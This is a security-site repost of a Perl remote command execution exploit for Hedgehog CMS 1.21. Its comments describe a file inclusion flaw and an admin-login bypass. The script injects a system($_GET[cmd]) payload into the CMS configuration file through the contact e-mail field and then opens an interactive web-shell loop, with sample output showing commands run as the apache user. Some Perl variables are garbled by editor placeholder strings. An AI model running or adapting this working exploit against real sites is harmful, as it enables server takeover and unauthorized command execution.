首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Hedgedog CMS version 1.21 remote command execution exploit that performs an arbi
来源:osirys.org 作者:Osirys 发布时间:2009-02-10  
#!/usr/bin/perl

# |----------------------------------------------------------------------------------------------------------------------------------|
# |                     INFORMATIONS                                                                                                 |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Web Application :   Hedgedog-CMS 1.21                                                                                             |
# |Download        :   http://mesh.dl.sourceforge.net/sourceforge/hedgehog-cms/hedgehog-cms_v1.21.zip                                |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Remote Command Execution Exploit                                                                                                  |
# |by Osirys                                                                                                                         |
# |osirys[at]autistici[dot]org                                                                                                       |
# |osirys.org                                                                                                                        |
# |Thx&Greets to: evilsocket, athum                                                                                                  |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |BUG [Local File Inclusion]
# |  p0c : /[path]/includes/footer.php?c_temp_path=[lf]%00
# |  In source $c_temp_path is not declared, so if register_globals = On we can set its value from GET directly.
# |----------------------------------------------------------------------------------------------------------------------------------|
# |BUG [Abitrary php code writing]
# |  This cms is not coded too good, we can bypass admin login just doing it via socket or lwp with 
___FCKpd___0
POST[l_mode]. # | From admin panel everything before beeing passed in a file is filtered with htmlspecialchars and other fucntions, # | expect of the email contact variable, that's the hell bug. # | The sploit before overwriting a previous configuration, tries to get the old one, then it executes your commands. # |----------------------------------------------------------------------------------------------------------------------------------| # ------------------------------------------------------------------ # Exploit in action [>!] # ------------------------------------------------------------------ # osirys[~]>$ perl lolzo.txt http://localhost/hedgehog-cms/ # # -------------------------------- # Hedgedog-CMS RCE Exploit # by Osirys # -------------------------------- # # [*] Getting old configuration data .. # [*] Overwriting configuration data .. # [*] Overwrite succesfully ! # [&] Hi my master, do your job now [!] # # shell[localhost]___FCKpd___0gt; id # uid=80(apache) gid=80(apache) groups=80(apache) # shell[localhost]___FCKpd___0gt; pwd # /home/osirys/web/hedgehog-cms/config # shell[localhost]___FCKpd___0gt; la # bash: la: command not found # shell[localhost]___FCKpd___0gt; exit # [-] Quitting .. # osirys[~]>$ # ------------------------------------------------------------------ use LWP::UserAgent; use IO::Socket; use HTTP::Request::Common; my $post_pag = "/specialacts.php"; my $rce_path = "/config/userconfig.php"; my $rce_c0de = "%22%3Bsystem%28%24_GET%5Bcmd%5D%29%3B+%24xy+%3D+%22"; my $host = $ARGV[0]; ($host) || help("-1"); cheek($host) == 1 || help("-2"); &banner; $datas = get_input($host); $datas =~ /(.*) (.*)/; ($h0st,$path) = ($1,$2); my $ua_url = $host.$post_pag; my $ua = LWP::UserAgent->new; my $re = $ua->request(POST $ua_url, Content_Type => 'multipart/form-data', Content => [l_mode => '33'] ); if ($re->is_success) { $data = $re->content; print "[*] Getting old configuration data ..\n"; get_old_data($data); &overwrite; } else { print "[-] Unable to get old configuration data ..\n"; print "[*] Overwriting existing configuration ! \n"; &overwrite; } sub overwrite { if ($old_data_gotcha != 1) { $title = "Website"; $username = "Username"; $contact = "admin\@admin.com"; $copyright = "2007 website"; } my $url = $path.$post_pag; my $code= "e_maintitle=". $title."&e_autor=".$username."&e_contact=". $contact. $rce_c0de. "&e_copyright=".$copyright."&e_theme=.%2Ftemp%2Fstrawberry%2F&e_language=engli". "sh.lng&e_favicon=&e_sp=true&e_version=true&e_guestbook=true&l_mode=35"; my $length = length($code); my $data = "POST ".$url." HTTP/1.1\r\n". "Host: ".$h0st."\r\n". "Keep-Alive: 300\r\n". "Connection: keep-alive\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Content-Length: ".$length."\r\n\r\n". $code."\r\n"; my $socket = new IO::Socket::INET( PeerAddr => $h0st, PeerPort => '80', Proto => 'tcp', ) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n"; print "[*] Overwriting configuration data ..\n"; $socket->send($data); while ((my $e = <$socket>)&&($own != 1)) { if ($e =~ /The configurations have been saved successfully/) { print "[*] Overwrite succesfully !\n"; $own = 1; } } $own == 1 || die "[-] Can't overwrite configuration data !\n"; print "[&] Hi my master, do your job now [!]\n\n"; &exec_cmd; } sub exec_cmd { my(@outs,$out); $h0st !~ /www\./ || $h0st =~ s/www\.//; print "shell[$h0st]\___FCKpd___0gt; "; $cmd = <STDIN>; $cmd !~ /exit/ || die "[-] Quitting ..\n"; $exec_url = $host.$rce_path."?cmd=".$cmd; $re = get_req($exec_url); if ($re =~ /./) { print $re; &exec_cmd; } else { $c++; $cmd =~ s/\n//; print "bash: ".$cmd.": command not found\n"; $c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n"; &exec_cmd; } } sub get_req() { $link =
___FCKpd___0
[0]; my $req = HTTP::Request->new(GET => $link); my $ua = LWP::UserAgent->new(); $ua->timeout(4); my $response = $ua->request($req); return $response->content; } sub cheek() { my $host =
___FCKpd___0
[0]; if ($host =~ /http:\/\/(.*)/) { return 1; } else { return 0; } } sub get_input() { my $host =
___FCKpd___0
[0]; $host =~ /http:\/\/(.*)/; $s_host = $1; $s_host =~ /([a-z.-]{1,30})\/(.*)/; ($h0st,$path) = ($1,$2); $path =~ s/(.*)/\/$1/; $full_det = $h0st." ".$path; return $full_det; } sub get_old_data() { my $re =
___FCKpd___0
[0]; if ($re =~ /name="e_maintitle" value="(.*)" size/) { $title = $1; } if ($re =~ /name="e_autor" value="(.*)" size/) { $username = $1; } if ($re =~ /name="e_contact" value="(.*)" size/) { $contact = $1; } if ($re =~ /name="e_copyright" value="(.*)" size/) { $copyright = $1; } $old_data_gotcha = 1; } sub banner { print "\n". " -------------------------------- \n". " Hedgedog-CMS RCE Exploit \n". " by Osirys \n". " -------------------------------- \n\n"; } sub help() { my $error =
___FCKpd___0
[0]; if ($error == -1) { &banner; print "\n[-] Bad hostname! \n"; } elsif ($error == -2) { &banner; print "\n[-] Bad hostname address !\n"; } print "[*] Usage : perl $0 http://hostname/cms_path\n\n"; exit(0); }

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·TightVNC Authentication Failur
·Php168 v2008 权限提升漏洞
·Squid < 3.1 5 HTTP Version Num
·Hedgedog-CMS <= 1.21 Remote Co
·PHP Director <= 0.21 Remote Co
·q-news 2.0 Remote Command Exec
·FeedDemon <=2.7 OPML Outline T
·Fluorine CMS 0.1 rc 1 FD / SQL
·w3bcms <= v3.5.0 Multiple Remo
·ProFTPd with mod_mysql Authent
·IF-CMS <= 2.0 (frame.php id) B
·TYPO3 < 4.0.12/4.1.10/4.2.6 (j
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved